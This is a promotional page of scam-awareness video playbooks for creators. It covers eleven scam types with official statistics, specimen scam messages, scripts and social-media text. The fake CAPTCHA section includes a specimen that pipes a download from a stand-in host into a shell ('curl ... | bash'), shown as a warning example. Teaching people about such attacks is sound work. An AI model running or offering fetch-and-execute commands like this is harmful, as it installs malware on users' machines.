UTILFORGE
CYBERSECURITY AND DIGITAL INCLUSION

CREATOR PLAYBOOKS · NOVEMBER 2026 DROP

Film-ready scam-awareness playbooks for your next videos.

For creators who already teach cybersecurity, scam prevention and digital skills. Each playbook is built around the topics audiences are searching for right now, with a free check you can demo on camera in 30 seconds and figures you can defend.

A check you can film
Runs in the viewer's own browser, no sign-up, keeps working with the internet off.

Proof you can cite
Every figure traced to the issuing body, with its source named.

Specimens to test live
Five messages per playbook, safe to show on screen.

Edit-ready files
Script, captions, demo clip, sources and an audience handout.

Free to reuse, repackage and publish in monetised videos, for public safety, with a link to UtilForge.org. Creative Commons Attribution 4.0 International. No approval needed.

What is in each playbook

Topics audiences are asking about

Each playbook is built around some of the latest scam topics audiences are searching for and watching, so your video meets demand while it is rising.

Figures you can defend

Every figure comes from an official body or a recognised public-interest organisation, such as the Federal Trade Commission, the FBI's Internet Crime Complaint Center, the Cybersecurity and Infrastructure Security Agency, Ofcom, UK Finance, the National Cyber Security Centre and Australia's National Anti-Scam Centre. Links are in each playbook's sources file.

Privacy built in

Each check runs inside the web page on your own phone or computer. What you paste stays on your device. The page loads one anonymous visit counter (Cloudflare Web Analytics) and nothing else. Open your browser's network panel before you film, then switch the internet off: the check keeps working.

Specimens

Specimen messages are written for this pack and modelled on the patterns official bodies describe. They contain no real person's details and the links point nowhere real, so they are safe to show on screen.

Files in each playbook

demo.mp4 (portrait, no voice or music) · script.txt · captions.srt · specimens.txt · sources.txt · a large-print handout page for your audience. Download at utilforge.org/creators.

The playbooks, ranked by audience demand

Ranked by some of the latest search demand, growth and competition on YouTube, and by breakout videos on YouTube, Instagram and TikTok.

#	Topic and strongest signal	Best title to test	Check
1	**AI voice clones and family emergency calls** Searches for "ai scams" run at about 61,300 a month on YouTube, up 91%, and "voice cloning" at about 82,400, up 29%.	“Agree a Family Code Word Before an AI Voice Clone Calls” **84/100**	Family Safe Word
2	**Bank impersonation: "move your money to keep it safe"** "Senior scams" draws about 43,700 searches a month, up 74%, with low competition (30), and "financial fraud" about 32,500, up 51%.	“"Move Your Money to Keep It Safe": The Bank Call That Empties Accounts” **93/100**	Is This a Scam Text
3	**Job-fee and task scams** "Work from home scam" draws about 11,700 searches a month and "online job scams work from home" about 4,100 with low competition (29).	“Scam Autopsy: The Job Offer That Charges You to Start” **91/100**	Before You Reply to a Recruiter
4	**Silent calls and phone scams** "Why scammers wait 3 seconds" videos reached 2.3 million views (14 times the channel average) and 560,000 views (31 times) in September 2026.	“Why the Line Goes Silent When You Answer (And What to Do)” **97/100**	Set Up a Phone for an Older Relative
5	**Romance and cryptocurrency investment scams** "Crypto scam" draws about 44,900 searches a month, up 24%, and "romance scams" about 20,700, up 56%.	“How a Dating Match Becomes a Crypto Investment Scam” **91/100**	Before You Invest
6	**Parcel delivery and unpaid toll texts** Fake package delivery was the most reported text scam in the United States in 2024, and unpaid tolls the fourth (FTC).	“Paste This Delivery Text Before You Tap the Link” **82/100**	Delivery Text Check
7	**Unexpected packages and QR codes** Local news reports on "brushing" broke out at 746 and 985 times their channels' averages, with 519,000 and 198,000 views.	“A Package You Never Ordered Arrived. Don't Scan the QR Code” **87/100**	Delete My Details
8	**Fake CAPTCHA "paste this command" attacks** A CBS Philadelphia report on a CAPTCHA scam broke out at 121 times the channel's average, with 412,000 views.	“This Fake CAPTCHA Tells You to Paste a Command. Never Do It” **96/100**	Before You Paste a Command
9	**Fake shops and holiday shopping scams** Black Friday falls on 27 November 2026; "is temu a scam" searches are up 92.5%.	“Black Friday Fake Shops: Check a Website in 30 Seconds” **84/100**	Is This Shop Real?
10	**Recovery scams and cryptocurrency kiosks** "Recover lost crypto" draws about 6,300 searches a month with low competition (24), and "crypto recovery service" about 4,900.	“Lost Money to a Scam? The Second Scam Is Coming Next” **97/100**	Already Paid a Scammer? The First Hour
11	**Sponsored search results that lead to fake sites** New this week, chosen from official alerts: the US Cyber Command warned about sponsored search result scams in October 2026, and the Federal Trade Commission asked in September whether platforms should block impersonation adverts.	“Why the First Google Result Can Be a Scam (and How to Check)” **98/100**	Advert Check

1 AI voice clones and family emergency calls

Title to test "Agree a Family Code Word Before an AI Voice Clone Calls" scored 84/100 for click potential (Short). **Check** Family Safe Word · utilforge.org/tools/family-safe-word

Why audiences want it now

- Searches for "ai scams" run at about 61,300 a month on YouTube, up 91%, and "voice cloning" at about 82,400, up 29%.
- A TikTok stitch telling parents to agree a code word reached 976,000 views, 8.6 times the creator's median.

Figures to put on screen

FBI

Criminals use AI-generated audio to impersonate family members and ask for money. The FBI advises families to create a secret word or phrase to verify identity.

Federal Bureau of Investigation, public service announcement I-120324-PSA · 3 Dec 2024 · https://www.ic3.gov/PSA/2024/PSA241203

US$3.5 billion

Reported lost to imposter scams in the United States in 2025; nearly one fraud report in three was an imposter scam.

Federal Trade Commission, press release · 15 Jun 2026 · https://www.ftc.gov/news-events/news/press-releases/2026/06/ftc-data-show-people-reported-losing-3-point-5-billion-imposter-scams-2025

May 2025

AI-generated voice messages impersonating senior US officials; the FBI repeated the secret-word advice.

Federal Bureau of Investigation, I-051525-PSA · 15 May 2025 · https://www.ic3.gov/PSA/2025/PSA250515

The 30-second demo

1. Open Family Safe Word and press the button to make a word.
2. Type the family names and print the card.
3. Say the rule: anyone asking for money by phone must give the word, or you hang up and call back on a number you know.

Runs in the viewer's own browser and keeps working with the internet off.

Specimen messages (3 of 5)

```
Grandma it's me, I've had an accident and I'm at the police station. Please don't tell Mum. Can you send money for bail now? I'll explain later.
```

```
Hi Dad, I dropped my phone in the sea, this is my new number. I need to pay a bill urgently, can you help today?
```

```
This is Officer Daniels. Your son is in custody after a car crash. Bail is $3,000 in gift cards. Do not hang up.
```

All five are in the playbook's specimens file.

45-to-60-second script

1. A voice that sounds exactly like your grandchild can now be made from a few seconds of audio.
2. The call is urgent, the story is upsetting, and it always ends with a request for money.
3. The FBI's advice is simple to follow: agree a secret word or phrase with your family.
4. Here is a free way to make one. Open Family Safe Word at UtilForge.org.
5. Press the button, add your family's names, and print the card.
6. It runs on your own phone, and once the page is open it works with the internet off.
7. Now the rule: if someone calls asking for money, ask for the word.
8. No word? Hang up and call them back on the number you already have.
9. Share this with someone in your family today.

Instagram carousel

1. A cloned voice can sound exactly like family.
2. The call is urgent and ends with a request for money.
3. The FBI says: agree a secret word with your family.
4. Make and print one free: Family Safe Word at UtilForge.org.
5. No word? Hang up and call back on a number you know.

Long-form angle in the script file.

2 Bank impersonation: "move your money to keep it safe"

Title to test ""Move Your Money to Keep It Safe": The Bank Call That Empties Accounts" scored 93/100 for click potential (Long).

Check Is This a Scam Text · utilforge.org/tools/is-this-a-scam-text

Why audiences want it now

- "Senior scams" draws about 43,700 searches a month, up 74%, with low competition (30), and "financial fraud" about 32,500, up 51%.
- A 71-second payment-reversal warning from Bajaj Finance broke out at 783 times the channel's average, with 197,000 views.

Figures to put on screen

Nearly US$1 billion

Reported lost to business impersonators in the United States in 2025; bank impersonators caused the highest losses among them.

Federal Trade Commission, press release · 15 Jun 2026 · https://www.ftc.gov/news-events/news/press-releases/2026/06/ftc-data-show-people-reported-losing-3-point-5-billion-imposter-scams-2025

1,790 to 8,269

Older adults reporting losses of US$10,000 or more to impersonators, 2020 to 2024. The FTC's advice: never move money to "protect it".

Federal Trade Commission, Data Spotlight · Aug 2025 · https://www.ftc.gov/news-events/data-visualizations/data-spotlight/2025/08/false-alarm-real-scam-how-scammers-are-stealing-older-adults-life-savings

£576.4 million

Lost in the United Kingdom in 2025 to scams where people were tricked into sending money themselves, across 248,070 cases.

UK Finance, Annual Fraud Report · 15 Jun 2026 · https://www.ukfinance.org.uk/policy-and-guidance/reports-and-publications/annual-fraud-report-2026/

The 30-second demo

1. Paste the fake bank alert into Is This a Scam Text.
2. Press Check and read out the warning signs it lists.
3. Close on the call-back rule: hang up and call the number on the back of your card (159 in the United Kingdom).

Runs in the viewer's own browser and keeps working with the internet off.

Specimen messages (3 of 5)

```
BANK ALERT: A payment of $1,249.00 to ELECTRO-WORLD is pending. If this was not you, call our fraud team now on 1-800-555-0199.
```

```
Your account has been locked due to unusual activity. Verify your identity within 30 minutes: secure-bank-verify.top/login
```

```
This is your bank's security team. Your savings are at risk. Move them to the safe account we will give you to protect them.
```

All five are in the playbook's specimens file.

45-to-60-second script

1. Your phone shows your bank's name. The caller says your money is at risk.
2. Then comes the instruction: move it to a safe account.
3. That instruction is the scam. Your bank never needs you to move money to protect it.
4. Here is one free check that helps with the text that starts it. Paste it into Is This a Scam Text at UtilForge.org.
5. Press Check. It shows the signs: urgency, a phone number to call, and a link that is not your bank's.
6. The check runs on your own phone.
7. Then hang up and call the number on the back of your card. In the United Kingdom, call 159.
8. Already sent money? Call your bank straight away, then report it.
9. Share this with someone who banks by phone.

Instagram carousel

1. Your phone shows your bank's name.
2. The caller says: move your money to keep it safe.
3. That instruction is the scam.
4. Check the text free at UtilForge.org.
5. Hang up. Call the number on your card, or 159 in the UK.

Long-form angle in the script file.

3 Job-fee and task scams

Title to test "Scam Autopsy: The Job Offer That Charges You to Start" scored 91/100 for click potential (Long). **Check** Before You Reply to a Recruiter · utilforge.org/tools/before-you-reply-to-a-recruiter

Why audiences want it now

- "Work from home scam" draws about 11,700 searches a month and "online job scams work from home" about 4,100 with low competition (29).
- UtilForge's own job-scam video broke out at 350 times the channel's average, and a Short titled "Applying for jobs isn't safe" reached 254,000 views, 106 times its channel's average.

Figures to put on screen

US$90 million to US$501 million

Reported losses to job and employment agency scams, 2020 to 2024; reports nearly tripled.

Federal Trade Commission, press release · 10 Mar 2025 · https://www.ftc.gov/news-events/news/press-releases/2025/03/new-ftc-data-show-big-jump-reported-losses-fraud-125-billion-2024

US$362.9 million

Lost to employment fraud reported to the FBI in 2025, across 24,688 complaints.

Federal Bureau of Investigation, Internet Crime Report 2025 · Apr 2026 · https://www.ic3.gov/AnnualReport/Reports/2025_IC3Report.pdf

Up 102.4%

Job scam reports in Australia in 2025; losses up 81.5% to A$24.8 million.

National Anti-Scam Centre, Targeting Scams Report 2025 · 30 Mar 2026 · https://www.nasc.gov.au/system/files/targeting-scams-report-2025.pdf

The 30-second demo

1. Paste the job message into Before You Reply to a Recruiter.
2. Press Check this message: it names the fee and the request for ID.
3. Close on the rule: never pay to get a job.

Runs in the viewer's own browser and keeps working with the internet off.

Specimen messages (3 of 5)

```
Hello! We saw your CV online. You are selected for a remote data-entry job paying $450 a day. Before you start, pay a $85 training fee and send a photo of your ID.
```

```
Congratulations, you passed our interview. To receive your work laptop, pay the $120 equipment deposit today. It will be refunded with your first salary.
```

```
Earn $300 a day liking videos. Complete 30 tasks, then top up $50 in USDT to unlock your commission. Join our Telegram group.
```

All five are in the playbook's specimens file.

45-to-60-second script

1. Never pay to get a job.
2. A message offers well-paid work you never applied for, then asks for a training fee or a photo of your ID.
3. That fee is the scam. Real employers pay you, and they never charge you to start.
4. Losses to job scams reported to the Federal Trade Commission rose from 90 million dollars in 2020 to 501 million in 2024.
5. Here is one free check that helps. Paste the message into Before You Reply to a Recruiter at UtilForge.org.
6. Press Check this message. It names the warning signs: a fee to start, and a request for your ID.
7. The check runs on your own phone, and it keeps working with the internet off.
8. Already paid? Call your bank on the number on your card, and report it.
9. Share this with someone who is looking for work.

Instagram carousel

1. Never pay to get a job.
2. The sign: a fee to train, a deposit to start, or ID before an offer.
3. Paste the message into Before You Reply to a Recruiter.
4. Already paid? Call your bank on the number on your card.
5. Share this with someone who is job hunting.

Long-form angle in the script file.

4 Silent calls and phone scams

Title to test "Why the Line Goes Silent When You Answer (And What to Do)" scored 97/100 for click potential (Long). **Check** Set Up a Phone for an Older Relative · utilforge.org/tools/phone-safety-checklist

Why audiences want it now

- "Why scammers wait 3 seconds" videos reached 2.3 million views (14 times the channel average) and 560,000 views (31 times) in September 2026.
- "Silent calls" draws about 4,800 searches a month with very low competition (18), and "scam calls seniors" about 4,700.

Figures to put on screen

Ofcom

Most silent calls are caused by automated dialling systems in call centres, not deliberate targeting.

Ofcom, Unwanted calls, texts and emails · 15 Jul 2026 · https://www.ofcom.org.uk/phones-and-broadband/unwanted-calls-and-messages/abandoned-and-silent-calls

FTC

Scammers can make any name or number show up on caller ID, and pressing numbers to be removed from a list will probably lead to more calls.

Federal Trade Commission, Robocalls · 2026 · https://consumer.ftc.gov/articles/robocalls

BBB

The "say yes" recording claim: the Better Business Bureau reports no Scam Tracker reports of money lost this way.

Better Business Bureau · 8 Mar 2024 · https://www.bbb.org/article/scams/5691-scam-alert-the-can-you-hear-me-phone-scam-is-still-ringing

The 30-second demo

1. Open the phone checklist and tick through call screening on iPhone or Android.
2. Show the family safe word step.
3. Print the checklist to do side by side with a relative.

Runs in the viewer's own browser and keeps working with the internet off.

Specimen messages (3 of 5)

```
(Missed call) Unknown number, 2 seconds, no voicemail.
```

```
Hello? ... (3 seconds of silence) ... Hello, this is Amazon Security calling about an order for an iPhone.
```

```
Automated voice: Your Social Security number has been suspended. Press 1 to speak to an officer.
```

All five are in the playbook's specimens file.

45-to-60-second script

1. You answer, and the line goes silent for a few seconds.
2. Ofcom says most silent calls come from automated diallers in call centres.
3. What matters is what happens next: a recorded message, or a person asking for money or details.
4. The Federal Trade Commission's advice: hang up, and don't press any numbers.
5. Caller ID can be faked, so call back only on a number you already know.
6. Here is one free check that helps: set up call screening with the phone checklist at UtilForge.org.
7. Do it side by side with someone you love, and print it.
8. Share this with someone who still answers every call.

Instagram carousel

1. The line goes silent when you answer.
2. Ofcom: most silent calls come from automated diallers.
3. Hang up. Don't press any numbers.
4. Caller ID can be faked: call back on a number you know.
5. Set up call screening free at UtilForge.org.

Long-form angle in the script file.

5 Romance and cryptocurrency investment scams

Title to test "How a Dating Match Becomes a Crypto Investment Scam" scored 91/100 for click potential (Long). **Check** Before You Invest · utilforge.org/tools/before-you-invest

Why audiences want it now

- "Crypto scam" draws about 44,900 searches a month, up 24%, and "romance scams" about 20,700, up 56%.
- A video titled "I was catfished at 52" broke out at 71 times its channel's average.

Figures to put on screen

US$7.228 billion

Lost to cryptocurrency investment fraud reported to the FBI in 2025, across 61,559 complaints, the largest single loss category.

Federal Bureau of Investigation, Internet Crime Report 2025 · Apr 2026 · https://www.ic3.gov/AnnualReport/Reports/2025_IC3Report.pdf

US$929 million

Lost to romance and confidence fraud reported to the FBI in 2025, across 23,159 complaints.

Federal Bureau of Investigation, Internet Crime Report 2025 · Apr 2026 · https://www.ic3.gov/AnnualReport/Reports/2025_IC3Report.pdf

77%

Of 8,103 people the FBI's Operation Level Up contacted were unaware they were being scammed (figures as of December 2025).

Federal Bureau of Investigation, Operation Level Up · Dec 2025 · https://www.fbi.gov/how-we-can-help-you/victim-services/national-crimes-and-victim-resources/operation-level-up

The 30-second demo

1. Paste the investment pitch into Before You Invest.
2. Press Check and read the warning signs aloud.
3. Close on the FBI rule: never send money to someone you have only met online.

Runs in the viewer's own browser and keeps working with the internet off.

Specimen messages (3 of 5)

```
My uncle works at a trading firm and shares signals. I made 40% last month. Start with $250 on this platform and I'll guide you.
```

```
Darling, I can't travel to see you until my investment matures. Can you help with the withdrawal fee of $2,000?
```

```
Only three places left in our VIP trading group. Guaranteed 15% a week. Deposit in USDT today.
```

All five are in the playbook's specimens file.

45-to-60-second script

1. It starts with a friendly message, or a dating match who seems to understand you.
2. Weeks later, they share how they invest, and the screen shows your money growing.
3. Then you can't withdraw without paying a fee.
4. Cryptocurrency investment fraud cost people 7.2 billion dollars reported to the FBI in 2025.
5. Here is one free check that helps. Paste the offer into Before You Invest at UtilForge.org.
6. Press Check. It shows the signs: guaranteed returns, pressure and a mentor you met online.
7. The check runs on your own phone.
8. The FBI's rule: never send money to someone you have only met online.
9. Share this with someone who has a new online friend.

Instagram carousel

1. A friendly message. A new online match.
2. They show you how they invest. The screen shows profit.
3. Then you can't withdraw without paying a fee.
4. Check the offer free with Before You Invest at UtilForge.org.
5. Never send money to someone you've only met online.

Long-form angle in the script file.

6 Parcel delivery and unpaid toll texts

Title to test "Paste This Delivery Text Before You Tap the Link" scored 82/100 for click potential (Short). **Check** Delivery Text Check · utilforge.org/tools/delivery-text-check

Why audiences want it now

- Fake package delivery was the most reported text scam in the United States in 2024, and unpaid tolls the fourth (FTC).
- A TikTok on an Apple Pay scam text reached 828,000 views, 12 times the creator's median, and a UK delivery-scam warning 581,000, 35 times.

Figures to put on screen

US$470 million
Lost to text scams in the United States in 2024, five times the 2020 figure.
Federal Trade Commission, Data Spotlight: Top text scams of 2024 · 14 Apr 2025 · https://www.ftc.gov/news-events/data-visualizations/data-spotlight/2025/04/top-text-scams-2024

61%
Rise in losses to text scams reported by people aged 60 and over in 2025.
Federal Trade Commission, Protecting Older Consumers 2025-2026 · 19 Oct 2026 · https://www.ftc.gov/system/files/ftc_gov/pdf/2026-older-adults-report-10192026.pdf

USPIS
A real USPS tracking text comes only if you asked for it, and it will not contain a link.
US Postal Inspection Service, smishing guidance · 19 May 2025 · https://www.uspis.gov/news/scam-article/smishing-package-tracking-text-scams

The 30-second demo

1. Paste the parcel or toll text into Delivery Text Check.
2. Press Check: it shows whether the link belongs to the courier the text names.
3. Close on forwarding the text to 7726 and deleting it.

Runs in the viewer's own browser and keeps working with the internet off.

Specimen messages (3 of 5)

```
USPS: Your package is on hold due to an incomplete address. Update within 24h: usps-redelivery-help.top
```

```
Royal Mail: We could not deliver your parcel. A £1.45 redelivery fee is due: royalmail-reschedule.info
```

```
FINAL NOTICE: You have an unpaid toll of $4.15. Pay now to avoid a $50 late fee: ezpass-tollpay.xyz
```

All five are in the playbook's specimens file.

45-to-60-second script

1. A text says your parcel is on hold, or that you owe a small toll.
2. The fee is tiny. The link is the trap.
3. Fake delivery texts were the most reported text scam in the United States in 2024.
4. Don't tap. Copy the text instead.
5. Paste it into Delivery Text Check at UtilForge.org and press Check.
6. It shows whether the link really belongs to the courier, and points out the fee and the deadline.
7. The check runs on your own phone.
8. Forward the text to 7726, then delete it.
9. Already entered card details? Call your bank on the number on your card.
10. Share this with someone who orders online.

Instagram carousel

1. A text says your parcel is on hold.
2. The fee is tiny. The link is the trap.
3. Don't tap. Copy the text.
4. Paste it into Delivery Text Check at UtilForge.org.
5. Forward it to 7726, then delete it.

Long-form angle in the script file.

7 Unexpected packages and QR codes

Title to test "A Package You Never Ordered Arrived. Don't Scan the QR Code" scored 87/100 for click potential (Short). **Check** Delete My Details · utilforge.org/tools/delete-my-details

Why audiences want it now

- Local news reports on "brushing" broke out at 746 and 985 times their channels' averages, with 519,000 and 198,000 views.
- "QR code scams" draws about 6,500 searches a month, and a QR warning reel from an Instagram creator reached 921,000 views.

Figures to put on screen

FTC

A QR code in a package you didn't order could take you to a phishing website or install malware. The law says you can keep the item as a gift.

Federal Trade Commission, consumer alert · 23 Jan 2025 · https://consumer.ftc.gov/consumer-alerts/2025/01/scam-alert-qr-code-unexpected-package

FTC

If you receive a brushed package, message the platform so it can investigate the seller, and change your shopping-account passwords.

Federal Trade Commission, consumer alert on brushing · 20 Aug 2026 · https://consumer.ftc.gov/consumer-alerts/2026/08/unexpected-package-you-got-could-be-brushing-scam

USPIS

By law you may keep unsolicited merchandise and are under no obligation to pay for it.

US Postal Inspection Service · 24 Mar 2025 · https://www.uspis.gov/news/scam-article/brushing-scam

The 30-second demo

1. Show the unexpected package and the QR card (do not scan).
2. Open Delete My Details to start removing your address from data brokers.
3. Close on the FTC steps: report the seller and change passwords.

Runs in the viewer's own browser and keeps working with the internet off.

Specimen messages (3 of 5)

```
(Card in box) Thank you for your order! Scan to leave a review and claim your free gift.
```

```
(Card in box) Scan to find out who sent you this surprise.
```

```
(Label) Delivery for J. Smith, contents: phone accessories. No sender name.
```

All five are in the playbook's specimens file.

45-to-60-second script

1. A package arrives that you never ordered.
2. Inside is a small item, and sometimes a card with a QR code.
3. Don't scan it. The Federal Trade Commission warns it can lead to a phishing site or malware.
4. You can keep the item. The law says it's a gift.
5. The package means someone has your name and address.
6. Report the seller to the shopping platform, and change your account passwords.
7. Here is one free check that helps: Delete My Details at UtilForge.org helps you ask data brokers to remove your address.
8. Share this with someone who gets a lot of deliveries.

Instagram carousel

1. A package you never ordered.
2. Inside: a card with a QR code. Don't scan it.
3. You can keep the item. It's legally a gift.
4. Report the seller. Change your passwords.
5. Remove your address from data brokers: UtilForge.org.

Long-form angle in the script file.

8 Fake CAPTCHA "paste this command" attacks

Title to test "This Fake CAPTCHA Tells You to Paste a Command. Never Do It" scored 96/100 for click potential (Long). **Check** Before You Paste a Command · utilforge.org/tools/before-you-paste-a-command

Why audiences want it now

- A CBS Philadelphia report on a CAPTCHA scam broke out at 121 times the channel's average, with 412,000 views.
- "Fake captcha malware" draws about 3,400 searches a month with low competition (26): space for an expert explainer.

Figures to put on screen

Microsoft

ClickFix campaigns target thousands of enterprise and personal devices worldwide every day; victims paste a command into the Windows Run box.

Microsoft Threat Intelligence · 21 Aug 2025 · https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/

Microsoft

On Mac, fake pages tell people to complete a download in Terminal, installing MacSync and Atomic Stealer from more than 250 fake sites.

Microsoft Threat Intelligence · 5 Aug 2026 · https://www.microsoft.com/en-us/security/blog/2026/08/05/macos-clickfix-campaign-learned-hide/

CISA and FBI

The Interlock ransomware group uses fake-CAPTCHA ClickFix pages to get in.

Cybersecurity and Infrastructure Security Agency and FBI advisory · 22 Jul 2025 · https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-203a

The 30-second demo

1. Show the specimen "verify you are human" page instructions.
2. Paste the instructions into Before You Paste a Command and press Check this.
3. Close on the rule: never paste a command a website gives you.

Runs in the viewer's own browser and keeps working with the internet off.

Specimen messages (3 of 5)

```
Verify you are human: 1. Press Windows + R. 2. Press Ctrl + V. 3. Press Enter.
```

```
To complete verification, open Terminal and paste: curl -s http://cdn-verify.example | bash
```

```
Cloudflare check failed. Press Win+R and paste the code we copied for you to prove you're not a robot.
```

All five are in the playbook's specimens file.

45-to-60-second script

1. A page asks you to prove you're human, but not by clicking pictures.
2. It tells you to press Windows and R, paste something, and press Enter.
3. That pastes a command that installs malware. Microsoft says these attacks hit thousands of devices every day.
4. On a Mac, the page tells you to paste into Terminal.
5. Here is one free check that helps. Paste the page's instructions into Before You Paste a Command at UtilForge.org.
6. Press Check this. It explains what the instructions would do.
7. The rule is short: never paste a command a website gives you.
8. Already ran it? Disconnect from the internet and get help from someone you trust.
9. Share this with someone who works on a laptop.

Instagram carousel

1. A page asks you to prove you're human.
2. It says: press Windows + R, paste, Enter.
3. That runs a command that installs malware.
4. Check the instructions free at UtilForge.org.
5. Never paste a command a website gives you.

Long-form angle in the script file.

9 Fake shops and holiday shopping scams

Title to test "Black Friday Fake Shops: Check a Website in 30 Seconds" scored 84/100 for click potential (Short). **Check** Is This Shop Real? · utilforge.org/tools/shop-check

Why audiences want it now

- Black Friday falls on 27 November 2026; "is temu a scam" searches are up 92.5%.
- "Online scam" draws about 17,300 searches a month and "credit card scams" about 6,600.

Figures to put on screen

US$503.4 million

Lost to non-payment and non-delivery scams reported to the FBI in 2025, across 56,478 complaints.

Federal Bureau of Investigation, Internet Crime Report 2025 · Apr 2026 · https://www.ic3.gov/AnnualReport/Reports/2025_IC3Report.pdf

£11.8 million

Lost to online shopping fraud in the United Kingdom between 1 November 2024 and 31 January 2025.

National Cyber Security Centre · 17 Nov 2025 · https://www.ncsc.gov.uk/news/stay-alert-to-holiday-shopping-cyber-scams

FTC

Before you buy, search online for the seller's name and the website address the advert sends you to, and pay by credit card.

Federal Trade Commission, holiday shopping alert · 25 Nov 2025 · https://consumer.ftc.gov/consumer-alerts/2025/11/how-avoid-online-shopping-scam-holiday-season

The 30-second demo

1. Paste the shop's web address and its contact page text into Is This Shop Real?
2. Press Check and read out the warning signs.
3. Close on paying by card, never by bank transfer.

Runs in the viewer's own browser and keeps working with the internet off.

Specimen messages (3 of 5)

```
MEGA CLEARANCE! Designer trainers 80% off,
today only. Pay by bank transfer for an extra
10% off: brandshoes-outlet.shop
```

```
We are closing down! All stock must go.
Contact us on WhatsApp only.
```

```
Air fryer $19.99 (RRP $199). Limited stock,
ships from our warehouse in 3 days.
```

All five are in the playbook's specimens file.

45-to-60-second script

1. A deal that's 80% off, on a shop you've never heard of, a few days before Black Friday.
2. Fake shops take your money and send nothing.
3. Non-delivery scams cost people 503 million dollars reported to the FBI in 2025.
4. Here is one free check that helps. Paste the shop's address and contact page into Is This Shop Real? at UtilForge.org.
5. Press Check. It shows the warning signs before you pay.
6. The check runs on your own phone.
7. Pay by card, never by bank transfer.
8. Already paid? Call your card provider on the number on your card.
9. Share this with someone doing their holiday shopping.

Instagram carousel

1. 80% off, on a shop you've never heard of.
2. Fake shops take the money and send nothing.
3. Check a shop free: Is This Shop Real? at UtilForge.org.
4. Pay by card, never by bank transfer.
5. Already paid? Call your card provider.

Long-form angle in the script file.

10 Recovery scams and cryptocurrency kiosks

Title to test "Lost Money to a Scam? The Second Scam Is Coming Next" scored 97/100 for click potential (Long). **Check** Already Paid a Scammer? The First Hour · utilforge.org/tools/first-hour-guide

Why audiences want it now

- "Recover lost crypto" draws about 6,300 searches a month with low competition (24), and "crypto recovery service" about 4,900.
- These searches come from people who have already lost money, so a clear warning reaches them at the moment of most risk.

Figures to put on screen

US$1.4 billion

Lost to recovery scams reported to the FBI in 2025, across 10,516 complaints; the FBI notes the total may include the earlier scam.

Federal Bureau of Investigation, Internet Crime Report 2025 · Apr 2026 · https://www.ic3.gov/AnnualReport/Reports/2025_IC3Report.pdf

US$389 million

Lost through cryptocurrency kiosks in 2025, across 13,460 complaints, with losses up 58%.

Federal Bureau of Investigation, Internet Crime Report 2025 · Apr 2026 · https://www.ic3.gov/AnnualReport/Reports/2025_IC3Report.pdf

FTC

Don't trust anyone who contacts you claiming they can recover your lost money for a fee.

Federal Trade Commission, consumer alert · 3 Aug 2026 · https://consumer.ftc.gov/consumer-alerts/2026/08/have-you-lost-money-scam-watch-scammers-who-say-they-can-help

The 30-second demo

1. Open the First Hour guide and choose a country.
2. Walk through the steps in order: bank, report, record.
3. Close on the rule: never pay anyone to get money back.

Runs in the viewer's own browser and keeps working with the internet off.

Specimen messages (3 of 5)

```
We are a licensed recovery firm. We traced your stolen Bitcoin. Pay a $500 retainer and we will return your funds within 7 days.
```

```
This is the FBI Internet Crime Complaint Center. We recovered your money. Pay the release fee to receive it.
```

```
Law firm notice: you are eligible for a class-action refund of $12,400. Processing fee: $350.
```

All five are in the playbook's specimens file.

45-to-60-second script

1. You've lost money to a scam. Then someone contacts you offering to get it back.
2. They ask for a fee first. That is the second scam.
3. Recovery scams cost people 1.4 billion dollars reported to the FBI in 2025.
4. The Federal Trade Commission says never pay up front for help getting money back.
5. And no real official will ever tell you to pay at a cryptocurrency kiosk.
6. Here is one free check that helps: the First Hour guide at UtilForge.org lists the real steps, by country.
7. Call your bank first, then report it to the official service.
8. Share this with someone who has just been scammed.

Instagram carousel

1. Lost money? Someone offers to get it back.
2. They want a fee first. That's the second scam.
3. Never pay up front to recover money.
4. No official asks you to pay at a crypto kiosk.
5. The real first steps: First Hour guide at UtilForge.org.

Long-form angle in the script file.

11 Sponsored search results that lead to fake sites

Title to test "Why the First Google Result Can Be a Scam (and How to Check)" scored 98/100 for click potential (Long). **Check** Advert Check · utilforge.org/tools/advert-check

Why audiences want it now

- New this week, chosen from official alerts: the US Cyber Command warned about sponsored search result scams in October 2026, and the Federal Trade Commission asked in September whether platforms should block impersonation adverts.
- YouTube searches for this exact problem are still low, so a video now arrives early.

Figures to put on screen

FBI

Criminals buy search adverts with web addresses that resemble real businesses, leading to copied sites and fake download pages that install malware.

Federal Bureau of Investigation, public service announcement I-122122-PSA · 21 Dec 2022 · https://www.ic3.gov/PSA/2022/PSA221221

FTC

Scammers buy search adverts in another company's or a government service's name. Don't assume a phone number in search results is real.

Federal Trade Commission, consumer alert · 3 Apr 2025 · https://consumer.ftc.gov/consumer-alerts/2025/04/online-search-results-good-bad-scammy

FTC

The Commission is asking whether search engines, social media and marketplaces should vet advertisers and keep impersonation ads from reaching consumers.

Federal Trade Commission, advance notice of proposed rulemaking · 24 Sep 2026 · https://www.ftc.gov/news-events/news/press-releases/2026/09/ftc-seeks-public-comment-whether-update-rule-impersonation-government-businesses-address-platforms

The 30-second demo

1. Search for a company and point to the results marked Sponsored or Ad.
2. Paste the advert's text into Advert Check and tick what you can see: it says Sponsored, and the web address is not the company's own.
3. Close on the rule: scroll past the adverts, or type the address you know.

Runs in the viewer's own browser and keeps working with the internet off.

Specimen messages (3 of 5)

```
Sponsored · [Bank] Official Login · hxxps://bank-secure-login[.]example · Sign in to your account. 24/7 support. Call 1-800-555-0142.
```

```
Ad · [Tax Office] Refund Status · hxxps://tax-refund-check[.]example · Check your refund today. Fast processing for a small service fee.
```

```
Sponsored · Download [Video App] Free · hxxps://video-app-download[.]invalid · Official installer. Latest version for Windows and Mac.
```

All five are in the playbook's specimens file.

45-to-60-second script

1. You search for your bank, and the first result looks right.
2. But it is an advert, and anyone can buy one.
3. The Federal Bureau of Investigation warns that criminals buy search adverts that copy real businesses and lead to fake sites.
4. Look for the words Sponsored or Ad above the result.
5. Paste the advert's text into Advert Check at UtilForge.org and tick what you can see.
6. It names the warning signs, such as a web address that is not the company's own.
7. The check runs on your own phone.
8. Scroll past the adverts, or type the address you know.
9. Already typed in a password or card number? Change the password and call your bank on the number on your card.
10. Share this with someone who searches before they call.

Instagram carousel

1. The first search result can be an advert.
2. Anyone can buy one, including scammers.
3. Look for Sponsored or Ad.
4. Check the web address, or paste the advert into Advert Check at UtilForge.org.
5. Scroll past the adverts, or type the address you know.

Long-form angle in the script file.

Using the playbooks well

Show the limits on camera

